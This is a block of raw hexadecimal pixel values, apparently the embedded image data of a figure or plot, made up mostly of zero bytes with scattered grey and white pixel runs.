+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000006891BC729FCF1B2531000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +9C9C9CC0C0C0000000000000000000000000000000000000000000A8A8A8FBFBFBB7B7B70F0F0F +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000858585E9E9E9FFFFFF +C8C8C8000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000006C6C6C404040 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000006C6C6C +404040000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000363636FFFFFF686868343434282828000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000D8D8D8808080000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000D8D8D8808080000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +7070707070707070707070707070707070707070707070700000000000000000000000005C5C5C +FAFAFA000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000D8D8D8808080000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000D8D8D8808080000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000949494FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC8C8C8000000 +000000000000585858FFFFFF252525BDBDBDF6F6F6E7E7E75454540000000000005F5F5FD9D9D9 +F9F9F9DBDBDB646464000000000000343434FFFFFF919191F6F6F6858585939393F3F3F3919191 +000000000000000000000000282828606060282828000000000000000000000000000000000000 +0000000000000000000000000000000000000C0C0CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +9090900000000000000000005F5F5FD9D9D9F9F9F9DBDBDB646464000000000000000000000000 +5F5F5FD9D9D9F9F9F9DBDBDB646464000000000000000000000000000000000000000000000000 +000000000000000000343434FFFFFF919191F6F6F6858585939393F3F3F3919191000000000000 +2F2F2FADADADE6E6E6F9F9F9D7D7D7646464000000000000000000949494C8C8C8717171E5E5E5 +EEEEEE939393030303000000131313F9F9F95D5D5D000000000000000000292929FFFFFF404040 +0000000000000000000000000000000000000000000000000000000000002F2F2FADADADE6E6E6 +F9F9F9D7D7D7646464000000000000000000000000585858FFFFFF252525BDBDBDF6F6F6E7E7E7 +5454540000000000007D7D7DEBEBEBF0F0F0858585B8B8B8A0A0A0000000000000949494C8C8C8 +000000000000000000A8A8A8B4B4B4000000343434FFFFFF919191F6F6F6858585939393F3F3F3 +919191000000000000000000424242C8C8C8F7F7F7E5E5E5777777000000000000000000949494 +C8C8C8717171E5E5E5EEEEEE9393930303030000000C0C0CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +FFFFFF909090000000000000000000565656D2D2D2F6F6F6E8E8E8AEAEAE101010000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +121212202020747474F9F9F9202020202020191919000000000000000000585858FFFFFFCCCCCC +6A6A6A2D2D2D5252525050500000004C4C4CFFFFFF9999994B4B4B959595FFFFFF535353000000 +343434FFFFFF7E7E7E868686FEFEFE9E9E9E676767FFFFFF1B1B1B0000000000000000006C6C6C +FFFFFF6C6C6C000000000000000000000000000000000000000000000000000000000000000000 +000000010101202020202020DDDDDD9090902020202020201212120000000000004C4C4CFFFFFF +9999994B4B4B959595FFFFFF5353530000000000004C4C4CFFFFFF9999994B4B4B959595FFFFFF +535353000000000000000000000000000000000000000000000000000000000000343434FFFFFF +7E7E7E868686FEFEFE9E9E9E676767FFFFFF1B1B1B000000595959919191575757434343757575 +FAFAFA4D4D4D000000000000949494F5F5F59D9D9D1D1D1D4D4D4DFCFCFC555555000000000000 +ADADADB9B9B9000000000000000000848484E1E1E1010101000000000000000000000000000000 +000000000000000000000000000000595959919191575757434343757575FAFAFA4D4D4D000000 +000000000000585858FFFFFFCCCCCC6A6A6A2D2D2D5252525050500000005B5B5BFFFFFF868686 +4D4D4DC0C0C0F3F3F3A0A0A0000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4 +000000343434FFFFFF7E7E7E868686FEFEFE9E9E9E676767FFFFFF1B1B1B0000003D3D3DFBFBFB +ADADAD4C4C4C737373F7F7F7606060000000000000949494F5F5F59D9D9D1D1D1D4D4D4DFCFCFC +555555000000010101202020202020DDDDDD909090202020202020121212000000000000292929 +FCFCFC8D8D8D404040565656A6A6A61C1C1C000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 